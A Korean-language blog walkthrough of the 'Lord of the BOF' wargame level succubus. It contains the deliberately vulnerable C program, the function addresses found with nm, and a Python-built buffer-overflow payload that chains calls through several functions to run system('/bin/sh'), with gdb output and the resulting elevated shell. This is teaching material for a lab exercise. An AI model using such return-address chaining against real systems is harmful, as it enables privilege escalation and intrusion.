LOB zombie_assassin => succubus

c0wb3ll ㅣ 2020. 4. 6. 16:27

LOB zombie_assassin => succubus

문제

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

    // olleh!
    system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
    if(check != 1)
        exit(0);

    printf("welcome to the GYE!\n");
    check = 2;
}

void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}

main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // you cannot use library
    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }

    // check address
    addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

        // stack destroyer
    // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
    memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-3000, 0, 3000-40);
}

리턴 어드레스가 도여야 한다.

도개걸윷모 윷놀이를 합시다.

저 함수들을 하나씩 순서대로 호출한 뒤 인자로 char *cmd(&"/bin/sh") 과 "/bin/sh"을 주면 될 것 같다.


풀이

[zombie_assassin@localhost tmp]$ nm succubus | grep -E "DO|GYE|GUL|YUT|MO"
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
[zombie_assassin@localhost tmp]$ 

DO 랑 MO에 O가 0인줄 알고 왜 안나오지 하고 헤맸따 ㅋㅋㅋㅋㅋ 암튼 다음과 같이 주소를 구했으니 쭉 호출해주자.

[zombie_assassin@localhost tmp]$ ./succubus `python -c "print 'A'*44 + '\xec\x87\x04\x08' +'\xbc\x87\x04\x08' +'\x8c\x87\x04\x08'+'\x5c\x87\x04\x08'+'\x24\x87\x04\x08'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: 1???厄PTRhL?h??QV????????????????U??=??: command not found
Segmentation fault (core dumped)
[zombie_assassin@localhost tmp]$ 

성공적으로 모 까지 호출한 것을 확인할 수 있었다. 이제 인자를 넣어주자.

[zombie_assassin@localhost tmp]$ ./succubus `python -c "print 'A'*44 + '\xec\x87\x04\x08' +'\xbc\x87\x04\x08' +'\x8c\x87\x04\x08'+'\x5c\x87\x04\x08'+'\x24\x87\x04\x08' +'AAAA'+'\x8b\xfd\xff\xbf' +'/bin/sh'"`

인자로 /bin/sh을 주고 이제 이 /bin/sh의 주소를 찾아보자.

(gdb) x/10000s $esp
0xbffffa74:     "\213? ? bin/sh"
0xbffffa80:     "\b\210\004\b\002"
0xbffffa86:     ""
0xbffffa87:     ""

맨 마지막에 들어간 문자열 /bin/sh 가 0xbffffa78에 들어있는 것을 확인하고 이 주소로 char *cmd에 인자를 주면 될 것 같다. ( 제대로 보이지 않는 것은 잘려서 보이기 때문 )

(gdb) x/s 0xbffffa78
0xbffffa78:     "/bin/sh"

주소를 정확히 찾아서 보면 잘려 있지 않은 것을 확인

[zombie_assassin@localhost tmp]$ ./succubus `python -c "print 'A'*44 + '\xec\x87\x04\x08' +'\xbc\x87\x04\x08' +'\x8c\x87\x04\x08'+'\x5c\x87\x04\x08'+'\x24\x87\x04\x08' +'AAAA'+'\x78\xfa\xff\xbf' +'/bin/sh'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAx??bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ 

쉘이 따졌다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c "print 'A'*44 + '\xec\x87\x04\x08' +'\xbc\x87\x04\x08' +'\x8c\x87\x04\x08'+'\x5c\x87\x04\x08'+'\x24\x87\x04\x08' +'AAAA'+'\x58\xfa\xff\xbf' +'/bin/sh'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAX??bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ 

글 쓰다가 중간에 주소가 한번 바뀌었다.;; 그래서 위에서 찾은 주소랑 다르다.